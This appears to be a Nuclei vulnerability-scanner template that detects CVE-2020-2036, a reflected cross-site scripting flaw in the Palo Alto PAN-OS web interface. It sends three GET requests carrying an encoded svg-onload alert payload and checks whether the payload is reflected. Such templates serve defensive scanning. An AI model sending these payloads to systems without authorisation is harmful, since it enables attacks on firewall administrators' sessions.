id: CVE-2020-2036

info:
  name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
  author: madrobot,j4vaovo
  severity: high
  description: |
    PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  remediation: |
    Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
    - https://security.paloaltonetworks.com/CVE-2020-2036
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2036
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-2036
    cwe-id: CWE-79
    epss-score: 0.00951
    epss-percentile: 0.81442
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
  tags: cve,cve2020,vpn,xss

http:
  - raw:
      - |
        GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
        condition: and

      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
          - "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
        condition: or